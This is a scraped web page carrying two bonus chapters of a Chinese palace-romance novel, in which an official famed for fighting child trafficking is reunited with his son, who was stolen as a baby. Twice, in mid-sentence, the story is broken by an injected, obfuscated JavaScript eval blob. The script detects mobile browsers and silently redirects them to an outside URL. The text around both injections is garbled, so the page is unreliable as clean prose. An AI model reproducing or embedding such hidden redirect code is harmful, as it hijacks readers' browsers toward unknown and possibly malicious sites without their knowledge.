(正文结束了,接下来还有几章番外哦。) 第515章 番外一身世(1) 永熙元年。 新帝登基,下的第一道圣旨,便是册封原太子妃陆氏为皇后,柔贵妃为太后。 而后,又下了第二道圣旨,大赦天下,赋税再减一成,百姓们奔走相告,齐齐高呼皇上仁德。 登基后,萧晏辞忙成了陀螺,整个人都消瘦了许多。 真正坐上了这个位置方知,一国之君不好当。 他花了五个多月的时间,才稍稍梳理清楚了大齐朝的基本情况,总算能稍稍舒了口气,也才终于有了时间留宿后宫。 这是陆知苒生产后,他们第一次同房。 德丰帝丧期,加上陆知苒产后恢复,以及萧晏辞忙于政务,两人都没这心思。 而今一切总算步入正轨,萧晏辞也总算能饱餐一顿。 太久没做,两个人都很敏感,彼此都获得了前所未有的体验。 这一晚,叫了三次水。 翌日,萧晏辞又精神抖擞地投入政务中,众臣都发现,这位年轻帝王今日心情似乎不错。 批阅奏折时,他看到了一封有些意思的奏折,又重新看了一眼那位官员的名字:沈正清,时任京兆府尹。 萧晏辞终于想起了这号人。 当初,因陆砚修和陆星辰失踪,牵扯出了幼童失踪案,有幕僚举荐了时任邕城归化县知府的沈正清,称他辖下无一例人口失踪,是个有才之人,却因当初李家打压,不得升迁。 萧晏辞看了卷宗,便将他提拔回京。 只是后来先帝驾崩,他忙于其他事务,便没有过问此人。 而今才得知,他已经顺利调任回京,任京兆府尹,这短短的时间内,他便成效卓著,又缉拿了好几批胆敢顶风作案的人贩子。 那一个个颇为可观的数字,便是最有力的政绩。 “这位沈大人倒是个人才,屈居京兆府尹,实在可惜了。” 萧晏辞对他升起了兴趣,便下令,宣他觐见。 沈正清诚惶诚恐地入了宫,战战兢兢地叩拜,并不敢直视圣颜。 萧晏辞语气自带威仪。 “沈爱卿,朕看到了你的奏折,你的政绩突出,能力超群,此前十几年都在偏远之地,实在是太屈才了。” 沈正清惶恐道:“皇上谬赞了。” 萧晏辞笑问,“跟朕说说,你是如何做到的?” 沈正清稳了稳心神,这才将自己的治理之法道来。 他经过多年深扎基层,总结出了防、查、救、惩四字方针。 防,便是全民联防,户籍严查,邻里连坐。 每户登记孩童特征,定期核对,外来人口需担保,若某户孩子失踪,周围五户需协助搜寻,隐瞒不报者同罪。 查,即训练货郎、乞丐、茶摊老板为眼线,可疑人员立即上报。 在码头、城门设关卡,对携带孩童者严查路引。 救,即快马鸣锣法,每个乡配三匹快马,见拐案立即分头,一马鸣锣封城门,一马传讯邻县,一马直报府衙。 惩,即重刑震慑,连根拔起。 别看他在御前战战兢兢,畏畏缩缩,但真正办起案来,俨然是又是另一番模样。 他曾当众亲手斩**贩子,将其人头挂在城门示众,以达震慑之意。 在地方为官,没有一点强势的气魄,根本压不住。 调任回京之后,他便也延用了这最笨的方法,果然有不知死活的人撞了上来,也让京兆府的一众衙役们见识到了这位新上峰的厉害。 听罢沈正清的这番话,萧晏辞若有所思,旋即笑了。 “沈爱卿方法独具一格,实乃国之栋梁也,今特晋尔为刑部右侍郎,协理天下刑名,专督捕亡重案。” 沈正清闻言,眼底顿时迸发出一抹难以言喻的欣喜,愣怔半晌才回过神来。 “微臣叩谢隆恩,微臣定竭尽所能,为皇上效命,绝不辜负皇上一番信任!” 萧晏辞笑道:“爱卿请起吧。” 沈正清起身,脸上满是激动之色。 萧晏辞这才看清了他的脸,乍一眼,忽觉几分眼熟,但却未多想。 此事很快被抛诸脑后,他又开始忙于政务。 萧晏辞还与陆知苒聊起此人,言语间颇为夸赞。 陆知苒闻言,对这位沈大人也不由添了几分敬重。 十月,宫中办赏菊宴,陆知苒特意给沈家也下了帖子,邀沈大人的嫡女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145747|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参宴。 沈家调任回京的时日不长,在京中没有什么根基,这位沈小姐年方十三,也不曾在人前露过面。 这本是帝后联手使的一套笼络人心的组合拳,没曾想,竟有了意想不到的意外收获。 沈小姐现身人前时,陆知苒一下愣住了,她身侧的萧宝珠更是瞬间瞪大了眼。 无他,这位沈小姐长得太眼熟了。 陆知苒看向萧宝珠,“宝珠,你觉得像吗?” 萧宝珠小鸡啄米似的连连点头。 “太像了!简直一个模子刻出来的!” 陆知苒缓声道:“我听说,沈大人早年曾丢过一个孩子,所以他在任期间便用铁血手腕整治辖下,再无半个人贩子。” 萧宝珠闻言,眼珠子瞪得更大了,呼吸都凝滞了几分。 “难道……” 她起身就要找沈小姐问个清楚,但被陆知苒拦住了。 “不要冲动,先把事情查清楚,免得大家都空欢喜一场。” 萧宝珠这才压下了心头的激动,没有贸然动作。 但是她的目光一直频频落在沈小姐的身上。 沈芮安拘谨地坐在席上,小脸上写满了紧张。 她生性敏感,对外界的细微变化都能敏锐察觉,她发现有人一直在盯着她。 而那人的方向,来自上首的位置。 难道是皇后娘娘觉得她有什么不妥? 还不等她想出所以然来,九公主就走到她身侧,笑眯眯地夸赞她头上的发饰精巧。 沈芮安:…… 她怀疑这位公主在说反话,家中经济拮据,这是好几年前的老物件了,跟京城贵女们那些鲜亮的样式没法比。 但九公主的语气真诚,眼睛也亮晶晶的,好似当真对她的发饰十分喜欢。 沈芮安后知后觉地反应过来,这道灼热的视线如此熟悉,原来方才盯着自己看的人就是这位九公主。 沈芮安发现九公主十分热情,对她亲切极了,活像是见到了失散多年的姐妹似的。 萧宝珠的热情,让众贵女对沈芮安都升起了浓浓的兴趣,大家纷纷开始围着她打转。 沈芮安:……瑟瑟发抖。 第516章 番外二身世(2) 宴会结束,萧宝珠就凑到陆知苒的身边,竹筒倒豆子似的往外倒。 “我打探清楚了,二十三年前,沈夫人在随沈大人外放邕城的路上早产,生下长子,不得已在一处小县城落脚,打算做完月子再出发,没想到孩子竟在那县城里被人偷了。时间对上了!” 陆知苒若有所思,“你先回去问问孙夫人,当年她捡到孙驸马时,是否有什么信物?” 萧宝珠连连点头。 那沈芮安的容貌,像极了孙牧之,但凡熟悉孙牧之的人瞧了她都会有种恍然的熟悉感。 刚巧,沈家人又曾经丢过孩子,这一切就都对上了。 萧宝珠急吼吼地回了公主府,去向甄氏求证。 而她们不知道的是,此时,沈正清和孙牧之也恰巧遇上了。 二人同朝为官数月,却从没有正面打过照面。 而今,命运的齿轮不经意地转着,终于将两人转到了一处。 沈正清调任刑部右侍郎,刚好遇到了一桩案子,需要其他部门协同配合。 但沈正清初来乍到,他遭到了排挤。 他的手下与五城兵马司的官差拉扯时,恰好被孙牧之撞见了。 孙牧之询问了一番,二话不说便带着自己的人前去帮忙。 沈正清见到骑在马上的孙牧之,表情空白了片刻,整个人如遭雷击,完全忘了该如何反应。 孙牧之看着沈正清,也觉得他有几分面善,但却没有多想。 孙牧之客气地与沈正清说话,对方却直愣愣地盯着他,一副神游天外的模样。 还是身旁人小声出言提醒,沈正清才如梦初醒,但说话也是颠三倒四的,完全不在状态。 孙牧之听闻过沈正清的政绩,心中敬佩他的为人,对他眼下的失态倒是没有放在心上。 或许,这位沈大人就是如此不善交际之人。 孙牧之客气地朝对方颔首,便欲转身离开。 沈正清下意识伸手拦住,孙牧之依旧客气,“沈大人可还有何事?” 沈正清话到了嘴边,又咽了回去。 贸然开口问出那话,实在太冒昧了。 “本官只是,只是想好好感谢孙大人,改日本官下帖相邀,还望孙大人给本官这个薄面。” 孙牧之客气推辞了一番,这才离开。 沈正清看着他的背影,久久没有回过神来。 这一天,沈正清办差都有些心不在焉,回到家中,他也犹豫着要不要向夫人提起此事。 孙牧之如往常那般回到公主府。 见到萧宝珠和甄氏,他就发现了些许异常。 她们二人的眼眶都是红的,显然是哭过。 孙牧之立马大步上前,焦急询问,“怎么了?发生了何事?” 甄氏伸手拉住他,让他坐到了自己的跟前,看他的眼神充满了慈爱。 “阿牧,我要告诉你一件事。” 孙牧之本能地挺直了腰杆,神色也郑重起来。 母亲极少会用这样的态度与自己说话,莫不是出了大事? 他已然做好了最坏的准备。 甄氏拿出了一个陈旧的襁褓,缓声道:“你的家人,或许有消息了。今日宝珠在宫中见到了一个姑娘……” 甄氏将事情始末道来,最后道:“我寻出了当初捡到你时的襁褓,这上面便绣着‘沈’字,刚好与那沈家对上了。这么多巧合已然说明,你多半是那沈大人当年被偷走的孩子。” 甄氏捡到孙牧之时,他发着高热,孱弱得似猫儿似的,大夫诊断他确为早产,那偷孩子的人贩子定是见他高热不退,觉得养不活了这才遗弃在路边。 孙牧之听罢,脑子彻底懵了。 他想到了今日见到沈正清时对方的失神反应,瞬间明白了过来。 他只怕是一眼就认出了自己,生出了猜测,只是不敢贸然相认。 萧宝珠轻声道:“这些年,沈大人和沈夫人一直都在找你,从未放弃过。你想认回他们吗?” 孙牧之下意识看向了甄氏。 甄氏笑了,“宝珠已经把沈家的情况都告诉我了,沈大人是个好官,也是个好父亲。你回到沈家,会有更多的人爱护你,母亲很高兴。” 孙牧之沉默了片刻,最后道:“我现在就去沈家,把事情弄清楚。” 他没有刻意去找过亲生父母,他们若没有出现,他也不会对此事留有遗憾。 但老天爷让他们遇上了,那便没有什么好逃避的。 况且,今日沈正清已经见过他,自己就算不去求证,对方迟早也会找上自己。 孙牧之喜欢快刀斩乱麻,干脆利落地了结此事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145748|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈家人万万没想到,自家竟然迎来了这样一行不速之客。 沈夫人久病,出来待客的是沈正清和沈芮安父女。 沈芮安和孙牧之看到对方,都生出了一种彼此在照镜子的恍惚感。 两人的五官轮廓像了八成,只是孙牧之的面容冷峻,沈芮安的线条柔和。 这一瞬间,沈芮安终于明白今日九公主为何对自己那般亲近,心中那个念头不受控地跳了出来。 很快,甄氏便开门见山,捅破了那层窗户纸。 她拿出了那个襁褓,并道出了自己捡到孙牧之的经过。 沈正清双手颤抖,嘴唇哆嗦,眼眶几乎瞬间便红了,两股热泪滚滚落下。 “这襁褓,是内子的手艺,我不会认错,我绝对不会认错!今日第一眼见你,我便觉得你眼熟,孩子,为父终于找到你了!老天爷,你终于开了一回眼了!” 沈夫人闻讯赶来,她本久病在床,但见了孙牧之,她却不知哪里来了力气,直接挣开了搀扶的丫鬟,扑了上去,抱着他就嚎啕大哭起来。 孙牧之本是性情内敛之人,但此情此景,他亦是不禁心头触动,红了眼眶。 原来,这便是血缘的羁绊。 痛哭了一场,大家好不容易平静下来,彼此又对了几个细节。 沈夫人说出了孙牧之身上的胎记,也都对上了。 孙牧之和沈芮安的容貌都肖似沈夫人,不用任何佐证,单单是这张脸便已经证明了一切。 寻回了孙牧之,沈夫人一夜之间不药而愈,整个人的精气神都好了大半,沈家上下都洋溢着一股喜庆的气氛。 孙牧之嘴上不说,但萧宝珠看得出来,他很高兴,眼底眉梢之间都更加柔和了。 以往,他的家人只有甄氏。 后来,多了萧宝珠。 现在,又多了一个沈家。 他在这个世上的牵绊越来越多了,这于他而言,不是负累,而是成了一股让人难以割舍的甜蜜。 而他所有一切的时来运转,似乎都从遇到萧宝珠开始。 孙牧之动情地索取着,恨不得将她整个人都揉进自己的身体里。 最后,他贴在她的耳边,嗓音喑哑。 “宝珠,我们生个孩子吧。” 他一定会做一个好父亲。